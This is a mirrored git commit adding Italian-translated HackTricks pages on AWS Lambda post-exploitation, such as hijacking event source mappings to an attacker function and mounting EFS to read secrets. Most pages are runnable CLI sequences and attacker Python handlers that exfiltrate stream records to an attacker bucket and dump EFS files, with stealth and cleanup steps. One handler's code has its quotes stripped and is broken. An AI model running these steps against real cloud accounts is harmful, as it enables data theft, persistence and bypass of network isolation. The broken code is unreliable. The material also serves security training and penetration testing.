mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-30 22:50:43 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-lambd
This commit is contained in:
@@ -4,32 +4,82 @@
|
||||
|
||||
## Lambda
|
||||
|
||||
Per ulteriori informazioni controlla:
|
||||
Per maggiori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Esfiltrare le credenziali di Lambda
|
||||
### Exfilrtate Lambda Credentials
|
||||
|
||||
Lambda utilizza variabili di ambiente per iniettare credenziali durante l'esecuzione. Se riesci ad accedervi (leggendo `/proc/self/environ` o utilizzando la funzione vulnerabile stessa), puoi usarle tu stesso. Si trovano nei nomi delle variabili predefinite `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY` e `AWS_ACCESS_KEY_ID`.
|
||||
Lambda usa variabili d'ambiente per iniettare le credenziali al runtime. Se puoi accedervi (leggendo `/proc/self/environ` o usando la funzione vulnerabile stessa), puoi usarle tu stesso. Risiedono nei nomi di variabile predefiniti `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, e `AWS_ACCESS_KEY_ID`.
|
||||
|
||||
Per impostazione predefinita, queste avranno accesso per scrivere in un gruppo di log di CloudWatch (il cui nome è memorizzato in `AWS_LAMBDA_LOG_GROUP_NAME`), oltre a creare gruppi di log arbitrari, tuttavia le funzioni lambda hanno frequentemente più permessi assegnati in base al loro utilizzo previsto.
|
||||
Per impostazione predefinita, queste avranno accesso per scrivere in un cloudwatch log group (il cui nome è memorizzato in `AWS_LAMBDA_LOG_GROUP_NAME`), oltre a creare log group arbitrari; tuttavia le funzioni lambda spesso hanno più permessi assegnati in base al loro uso previsto.
|
||||
|
||||
### Rubare le richieste URL di altri Lambda
|
||||
### Steal Others Lambda URL Requests
|
||||
|
||||
Se un attaccante riesce in qualche modo a ottenere RCE all'interno di un Lambda, sarà in grado di rubare le richieste HTTP di altri utenti al lambda. Se le richieste contengono informazioni sensibili (cookie, credenziali...), sarà in grado di rubarle.
|
||||
Se un attaccante in qualche modo ottiene RCE all'interno di una Lambda, potrà rubare le richieste HTTP di altri utenti alla lambda. Se le richieste contengono informazioni sensibili (cookie, credentials...) potrà esfiltrarle.
|
||||
|
||||
{{#ref}}
|
||||
aws-warm-lambda-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### Rubare le richieste URL di altri Lambda e richieste di estensioni
|
||||
### Steal Others Lambda URL Requests & Extensions Requests
|
||||
|
||||
Abusando delle Lambda Layers è anche possibile abusare delle estensioni e persistere nel lambda, ma anche rubare e modificare le richieste.
|
||||
Abusando dei Lambda Layers è anche possibile sfruttare le extensions e persistere nella lambda ma anche rubare e modificare le richieste.
|
||||
|
||||
{{#ref}}
|
||||
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – VPC Egress Bypass
|
||||
|
||||
Costringi una Lambda function a uscire da una VPC ristretta aggiornando la sua configurazione con un VpcConfig vuoto (SubnetIds=[], SecurityGroupIds=[]). La function verrà eseguita nel piano di rete gestito da Lambda, riottenendo l'accesso Internet in uscita e bypassando i controlli di egress imposti dalle subnet VPC private senza NAT.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-vpc-egress-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – Runtime Pinning/Rollback Abuse
|
||||
|
||||
Abusa di `lambda:PutRuntimeManagementConfig` per bloccare una function su una specifica versione del runtime (Manual) o per congelare gli aggiornamenti (FunctionUpdate). Questo preserva la compatibilità con malicious layers/wrappers e può mantenere la function su un runtime obsoleto e vulnerabile per facilitare lo sfruttamento e la persistenza a lungo termine.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-runtime-pinning-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
|
||||
|
||||
Abusa dei controlli avanzati di logging di `lambda:UpdateFunctionConfiguration` per reindirizzare i log di una function verso un CloudWatch Logs log group scelto dall'attaccante. Questo funziona senza cambiare codice o il ruolo di esecuzione (la maggior parte dei ruoli Lambda include già `logs:CreateLogGroup/CreateLogStream/PutLogEvents` tramite `AWSLambdaBasicExecutionRole`). Se la function stampa segreti/corpi di richiesta o va in crash con stack trace, puoi raccoglierli dal nuovo log group.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-loggingconfig-redirection.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
Trasforma una private Lambda Function URL in un endpoint pubblico non autenticato impostando il Function URL AuthType su NONE e collegando una resource-based policy che conceda lambda:InvokeFunctionUrl a chiunque. Questo abilita l'invocazione anonima di funzioni interne e può esporre operazioni backend sensibili.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-function-url-public-exposure.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – Event Source Mapping Target Hijack
|
||||
|
||||
Abusa di `UpdateEventSourceMapping` per cambiare la funzione Lambda target di un Event Source Mapping (ESM) esistente in modo che i record da DynamoDB Streams, Kinesis o SQS vengano recapitati a una function controllata dall'attaccante. Questo devia silenziosamente i dati in tempo reale senza toccare i producer o il codice della function originale.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-event-source-mapping-target-hijack.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – EFS Mount Injection data exfiltration
|
||||
|
||||
Abusa di `lambda:UpdateFunctionConfiguration` per allegare un EFS Access Point esistente a una Lambda, quindi deploya codice triviale che elenca/legge file dal percorso montato per esfiltrare segreti/config condivisi a cui la function precedentemente non poteva accedere.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-efs-mount-injection.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -0,0 +1,74 @@
|
||||
# AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Furto di dati)
|
||||
|
||||
Abusa di `lambda:UpdateFunctionConfiguration` per allegare un EFS Access Point esistente a una Lambda, quindi deploya codice triviale che elenca/legge file dal percorso montato per esfiltrare segreti/config condivisi a cui la funzione prima non poteva accedere.
|
||||
|
||||
## Requisiti
|
||||
- Permessi sull'account/principale vittima:
|
||||
- `lambda:GetFunctionConfiguration`
|
||||
- `lambda:ListFunctions` (per trovare le funzioni)
|
||||
- `lambda:UpdateFunctionConfiguration`
|
||||
- `lambda:UpdateFunctionCode`
|
||||
- `lambda:InvokeFunction`
|
||||
- `efs:DescribeMountTargets` (per confermare che esistono mount targets)
|
||||
- Assunzioni sull'ambiente:
|
||||
- La Lambda target è VPC-enabled e le sue subnet/SGs possono raggiungere il SG del mount target EFS su TCP/2049 (es. il ruolo ha AWSLambdaVPCAccessExecutionRole e il routing VPC lo consente).
|
||||
- L'EFS Access Point si trova nella stessa VPC e ha mount targets nelle AZ delle subnet della Lambda.
|
||||
|
||||
## Attacco
|
||||
- Variabili
|
||||
```
|
||||
REGION=us-east-1
|
||||
TARGET_FN=<target-lambda-name>
|
||||
EFS_AP_ARN=<efs-access-point-arn>
|
||||
```
|
||||
1) Collega l'EFS Access Point alla Lambda
|
||||
```
|
||||
aws lambda update-function-configuration \
|
||||
--function-name $TARGET_FN \
|
||||
--file-system-configs Arn=$EFS_AP_ARN,LocalMountPath=/mnt/ht \
|
||||
--region $REGION
|
||||
# wait until LastUpdateStatus == Successful
|
||||
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
|
||||
```
|
||||
2) Sovrascrivi il codice con un semplice reader che elenca i file e mostra i primi 200 byte di un potenziale secret/config file
|
||||
```
|
||||
cat > reader.py <<PY
|
||||
import os, json
|
||||
BASE=/mnt/ht
|
||||
|
||||
def lambda_handler(e, c):
|
||||
out={ls:[],peek:None}
|
||||
try:
|
||||
for root, dirs, files in os.walk(BASE):
|
||||
for f in files:
|
||||
p=os.path.join(root,f)
|
||||
out[ls].append(p)
|
||||
cand = next((p for p in out[ls] if secret in p.lower() or config in p.lower()), None)
|
||||
if cand:
|
||||
with open(cand,rb) as fh:
|
||||
out[peek] = fh.read(200).decode(utf-8,ignore)
|
||||
except Exception as ex:
|
||||
out[err]=str(ex)
|
||||
return out
|
||||
PY
|
||||
zip reader.zip reader.py
|
||||
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://reader.zip --region $REGION
|
||||
# If the original handler was different, set it to reader.lambda_handler
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --handler reader.lambda_handler --region $REGION
|
||||
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
|
||||
```
|
||||
3) Invoca e recupera i dati
|
||||
```
|
||||
aws lambda invoke --function-name $TARGET_FN /tmp/efs-out.json --region $REGION >/dev/null
|
||||
cat /tmp/efs-out.json
|
||||
```
|
||||
L'output dovrebbe contenere l'elenco delle directory sotto /mnt/ht e una piccola anteprima di un file secret/config scelto da EFS.
|
||||
|
||||
## Impatto
|
||||
Un attaccante con le autorizzazioni elencate può montare arbitrari in-VPC EFS Access Points nelle funzioni Lambda vittime per leggere ed esfiltrare la configurazione condivisa e i secrets memorizzati su EFS che erano precedentemente inaccessibili a quella funzione.
|
||||
|
||||
## Pulizia
|
||||
```
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true
|
||||
```
|
||||
|
||||
@@ -0,0 +1,75 @@
|
||||
# AWS - Hijack Event Source Mapping to Redirect Stream/SQS/Kinesis to Attacker Lambda
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abusa di `UpdateEventSourceMapping` per cambiare la funzione Lambda target di un Event Source Mapping (ESM) esistente in modo che i record provenienti da DynamoDB Streams, Kinesis, o SQS vengano consegnati a una funzione controllata dall'attaccante. Questo devia silenziosamente dati live senza toccare i producer o il codice della funzione originale.
|
||||
|
||||
## Impact
|
||||
- Deviare e leggere record live da stream/queue esistenti senza modificare le app producer o il codice della vittima.
|
||||
- Possibile esfiltrazione di dati o manomissione della logica processando il traffico della vittima in una funzione rogue.
|
||||
|
||||
## Required permissions
|
||||
- `lambda:ListEventSourceMappings`
|
||||
- `lambda:GetEventSourceMapping`
|
||||
- `lambda:UpdateEventSourceMapping`
|
||||
- Ability to deploy or reference an attacker-controlled Lambda (`lambda:CreateFunction` or permission to use an existing one).
|
||||
|
||||
## Steps
|
||||
|
||||
1) Enumerate gli Event Source Mapping per la funzione della vittima
|
||||
```
|
||||
TARGET_FN=<victim-function-name>
|
||||
aws lambda list-event-source-mappings --function-name $TARGET_FN \
|
||||
--query 'EventSourceMappings[].{UUID:UUID,State:State,EventSourceArn:EventSourceArn}'
|
||||
export MAP_UUID=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
|
||||
--query 'EventSourceMappings[0].UUID' --output text)
|
||||
export EVENT_SOURCE_ARN=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
|
||||
--query 'EventSourceMappings[0].EventSourceArn' --output text)
|
||||
```
|
||||
2) Preparare un receiver Lambda attacker-controlled (stessa regione; idealmente VPC/runtime simili)
|
||||
```
|
||||
cat > exfil.py <<'PY'
|
||||
import json, boto3, os, time
|
||||
|
||||
def lambda_handler(event, context):
|
||||
print(json.dumps(event)[:3000])
|
||||
b = os.environ.get('EXFIL_S3')
|
||||
if b:
|
||||
k = f"evt-{int(time.time())}.json"
|
||||
boto3.client('s3').put_object(Bucket=b, Key=k, Body=json.dumps(event))
|
||||
return {'ok': True}
|
||||
PY
|
||||
zip exfil.zip exfil.py
|
||||
ATTACKER_LAMBDA_ROLE_ARN=<role-with-logs-(and optional S3)-permissions>
|
||||
export ATTACKER_FN_ARN=$(aws lambda create-function \
|
||||
--function-name ht-esm-exfil \
|
||||
--runtime python3.11 --role $ATTACKER_LAMBDA_ROLE_ARN \
|
||||
--handler exfil.lambda_handler --zip-file fileb://exfil.zip \
|
||||
--query FunctionArn --output text)
|
||||
```
|
||||
3) Reindirizzare il mapping alla attacker function
|
||||
```
|
||||
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $ATTACKER_FN_ARN
|
||||
```
|
||||
4) Genera un evento sulla sorgente in modo che il mapping si attivi (esempio: SQS)
|
||||
```
|
||||
SOURCE_SQS_URL=<queue-url>
|
||||
aws sqs send-message --queue-url $SOURCE_SQS_URL --message-body '{"x":1}'
|
||||
```
|
||||
5) Verifica che la funzione attacker riceva il batch
|
||||
```
|
||||
aws logs filter-log-events --log-group-name /aws/lambda/ht-esm-exfil --limit 5
|
||||
```
|
||||
6) Stealth opzionale
|
||||
```
|
||||
# Pause mapping while siphoning events
|
||||
aws lambda update-event-source-mapping --uuid $MAP_UUID --enabled false
|
||||
|
||||
# Restore original target later
|
||||
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $TARGET_FN --enabled true
|
||||
```
|
||||
Note:
|
||||
- Per gli SQS ESMs, il ruolo di esecuzione della Lambda che elabora la coda necessita di `sqs:ReceiveMessage`, `sqs:DeleteMessage` e `sqs:GetQueueAttributes` (policy gestita: `AWSLambdaSQSQueueExecutionRole`).
|
||||
- L'ESM UUID rimane lo stesso; viene cambiato solo il suo `FunctionArn`, quindi i producers e gli source ARNs restano invariati.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,46 @@
|
||||
# AWS - Esposizione pubblica di Lambda Function URL (AuthType NONE + Public Invoke Policy)
|
||||
|
||||
Trasforma un Lambda Function URL privato in un endpoint pubblico non autenticato impostando il Function URL AuthType su NONE e allegando una resource-based policy che concede lambda:InvokeFunctionUrl a chiunque. Questo permette l'invocazione anonima di funzioni interne e può esporre operazioni backend sensibili.
|
||||
|
||||
## Sfruttamento
|
||||
|
||||
- Prerequisiti: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
|
||||
- Regione: us-east-1
|
||||
|
||||
### Passaggi
|
||||
1) Assicurati che la function abbia un Function URL (di default AWS_IAM):
|
||||
```
|
||||
aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
|
||||
```
|
||||
|
||||
2) Imposta l'URL come pubblico (AuthType NONE):
|
||||
```
|
||||
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE
|
||||
```
|
||||
|
||||
3) Aggiungi una statement nella resource-based policy per permettere principals non autenticati:
|
||||
```
|
||||
aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE
|
||||
```
|
||||
|
||||
4) Recupera l'URL e invoca senza credenziali:
|
||||
```
|
||||
URL=$(aws lambda get-function-url-config --function-name $TARGET_FN --query FunctionUrl --output text)
|
||||
curl -sS "$URL"
|
||||
```
|
||||
|
||||
### Impatto
|
||||
- La Lambda function diventa accessibile in modo anonimo via internet.
|
||||
|
||||
### Esempio di output (200 non autenticato)
|
||||
```
|
||||
HTTP 200
|
||||
https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
|
||||
{"message": "HackTricks demo: public Function URL reached", "timestamp": 1759761979, "env_hint": "us-east-1", "event_keys": ["version", "routeKey", "rawPath", "rawQueryString", "headers", "requestContext", "isBase64Encoded"]}
|
||||
```
|
||||
### Pulizia
|
||||
```
|
||||
aws lambda remove-permission --function-name $TARGET_FN --statement-id ht-public-url || true
|
||||
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
|
||||
```
|
||||
|
||||
@@ -0,0 +1,51 @@
|
||||
# AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Sfrutta i controlli avanzati di logging di `lambda:UpdateFunctionConfiguration` per reindirizzare i log di una funzione verso un CloudWatch Logs log group scelto dall'attaccante. Questo funziona senza modificare il codice o il ruolo di esecuzione (la maggior parte dei ruoli Lambda include già `logs:CreateLogGroup/CreateLogStream/PutLogEvents` tramite `AWSLambdaBasicExecutionRole`). Se la funzione stampa secrets/request bodies o va in crash con stack traces, puoi raccoglierli dal nuovo log group.
|
||||
|
||||
## Permessi richiesti
|
||||
- lambda:UpdateFunctionConfiguration
|
||||
- lambda:GetFunctionConfiguration
|
||||
- lambda:InvokeFunction (o affidarsi ai trigger esistenti)
|
||||
- logs:CreateLogGroup (spesso non necessario se il ruolo della funzione lo ha)
|
||||
- logs:FilterLogEvents (per leggere gli eventi)
|
||||
|
||||
## Passaggi
|
||||
1) Crea un log group di destinazione
|
||||
```
|
||||
aws logs create-log-group --log-group-name "/aws/hacktricks/ht-log-sink" --region us-east-1 || true
|
||||
```
|
||||
2) Reindirizzare i log della funzione target
|
||||
```
|
||||
aws lambda update-function-configuration \
|
||||
--function-name <TARGET_FN> \
|
||||
--logging-config LogGroup=/aws/hacktricks/ht-log-sink,LogFormat=JSON,ApplicationLogLevel=DEBUG \
|
||||
--region us-east-1
|
||||
```
|
||||
Attendi fino a quando `LastUpdateStatus` diventa `Successful`:
|
||||
```
|
||||
aws lambda get-function-configuration --function-name <TARGET_FN> \
|
||||
--query LastUpdateStatus --output text
|
||||
```
|
||||
3) Invocare e leggere dal sink
|
||||
```
|
||||
aws lambda invoke --function-name <TARGET_FN> /tmp/out.json --payload '{"ht":"log"}' --region us-east-1 >/dev/null
|
||||
sleep 5
|
||||
aws logs filter-log-events --log-group-name "/aws/hacktricks/ht-log-sink" --limit 50 --region us-east-1 --query 'events[].message' --output text
|
||||
```
|
||||
## Impact
|
||||
- Reindirizzare di nascosto tutti i log dell'applicazione/sistema verso un log group sotto il tuo controllo, aggirando l'aspettativa che i log finiscano solo in `/aws/lambda/<fn>`.
|
||||
- Esfiltrare dati sensibili stampati dalla funzione o emersi negli errori.
|
||||
|
||||
## Cleanup
|
||||
```
|
||||
aws lambda update-function-configuration --function-name <TARGET_FN> \
|
||||
--logging-config LogGroup=/aws/lambda/<TARGET_FN>,LogFormat=Text,ApplicationLogLevel=INFO \
|
||||
--region us-east-1 || true
|
||||
```
|
||||
## Note
|
||||
- I controlli di logging fanno parte del `LoggingConfig` di Lambda (LogGroup, LogFormat, ApplicationLogLevel, SystemLogLevel).
|
||||
- Per impostazione predefinita, Lambda invia i log a `/aws/lambda/<function>`, ma puoi indicare qualsiasi nome di log group; Lambda (o il ruolo di esecuzione) lo creerà se consentito.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,12 @@
|
||||
# AWS Lambda – Runtime Pinning/Rollback Abuse via PutRuntimeManagementConfig
|
||||
|
||||
Abusa di `lambda:PutRuntimeManagementConfig` per fissare una funzione a una versione specifica del runtime (Manual) o per congelare gli aggiornamenti (FunctionUpdate). Questo preserva la compatibilità con malicious layers/wrappers e può mantenere la funzione su un runtime obsoleto e vulnerabile per facilitare lo sfruttamento e la persistenza a lungo termine.
|
||||
|
||||
Requisiti: `lambda:InvokeFunction`, `logs:FilterLogEvents`, `lambda:PutRuntimeManagementConfig`, `lambda:GetRuntimeManagementConfig`.
|
||||
|
||||
Esempio (us-east-1):
|
||||
- Invoke: `aws lambda invoke --function-name /tmp/ping.json --payload {} --region us-east-1 > /dev/null; sleep 5`
|
||||
- Freeze updates: `aws lambda put-runtime-management-config --function-name --update-runtime-on FunctionUpdate --region us-east-1`
|
||||
- Verify: `aws lambda get-runtime-management-config --function-name --region us-east-1`
|
||||
|
||||
Opzionalmente puoi fissare una versione specifica del runtime estraendo la Runtime Version ARN dai log INIT_START e usando `--update-runtime-on Manual --runtime-version-arn <arn>`.
|
||||
@@ -0,0 +1,63 @@
|
||||
# AWS Lambda – VPC Egress Bypass by Detaching VpcConfig
|
||||
|
||||
Forza una funzione Lambda fuori da una VPC con restrizioni aggiornando la sua configurazione con un VpcConfig vuoto (SubnetIds=[], SecurityGroupIds=[]). La funzione verrà eseguita nel piano di rete gestito da Lambda, riconquistando l'accesso Internet in uscita e bypassando i controlli di egress applicati da subnet VPC private senza NAT.
|
||||
|
||||
## Uso abusivo
|
||||
|
||||
- Requisiti: lambda:UpdateFunctionConfiguration sulla funzione target (e lambda:InvokeFunction per validare), più i permessi per aggiornare code/handler se li si modifica.
|
||||
- Assunzioni: la funzione è attualmente configurata con VpcConfig che punta a subnet private senza NAT (quindi l'accesso Internet in uscita è bloccato).
|
||||
- Regione: us-east-1
|
||||
|
||||
### Passaggi
|
||||
|
||||
0) Prepara un handler minimale che dimostri che l'HTTP in uscita funziona
|
||||
|
||||
cat > net.py <<'PY'
|
||||
import urllib.request, json
|
||||
|
||||
def lambda_handler(event, context):
|
||||
try:
|
||||
ip = urllib.request.urlopen('https://checkip.amazonaws.com', timeout=3).read().decode().strip()
|
||||
return {"egress": True, "ip": ip}
|
||||
except Exception as e:
|
||||
return {"egress": False, "err": str(e)}
|
||||
PY
|
||||
zip net.zip net.py
|
||||
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://net.zip --region $REGION || true
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --handler net.lambda_handler --region $REGION || true
|
||||
|
||||
1) Registra la configurazione VPC corrente (per ripristinarla dopo se necessario)
|
||||
|
||||
aws lambda get-function-configuration --function-name $TARGET_FN --query 'VpcConfig' --region $REGION > /tmp/orig-vpc.json
|
||||
cat /tmp/orig-vpc.json
|
||||
|
||||
2) Scollega la VPC impostando liste vuote
|
||||
|
||||
aws lambda update-function-configuration \
|
||||
--function-name $TARGET_FN \
|
||||
--vpc-config SubnetIds=[],SecurityGroupIds=[] \
|
||||
--region $REGION
|
||||
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
|
||||
|
||||
3) Invoca e verifica l'accesso in uscita
|
||||
|
||||
aws lambda invoke --function-name $TARGET_FN /tmp/net-out.json --region $REGION >/dev/null
|
||||
cat /tmp/net-out.json
|
||||
|
||||
(Optional) Ripristina la configurazione VPC originale
|
||||
|
||||
if jq -e '.SubnetIds | length > 0' /tmp/orig-vpc.json >/dev/null; then
|
||||
SUBS=$(jq -r '.SubnetIds | join(",")' /tmp/orig-vpc.json); SGS=$(jq -r '.SecurityGroupIds | join(",")' /tmp/orig-vpc.json)
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] --region $REGION
|
||||
fi
|
||||
|
||||
### Impatto
|
||||
- Ripristina l'accesso Internet in uscita senza restrizioni dalla funzione, consentendo esfiltrazione di dati o C2 da workload che erano stati intenzionalmente isolati in subnet private senza NAT.
|
||||
|
||||
### Example output (after detaching VpcConfig)
|
||||
|
||||
{"egress": true, "ip": "34.x.x.x"}
|
||||
|
||||
### Pulizia
|
||||
- Se hai creato modifiche temporanee a code/handler, ripristinale.
|
||||
- Facoltativamente ripristina il VpcConfig originale salvato in /tmp/orig-vpc.json come mostrato sopra.
|
||||
Reference in New Issue
Block a user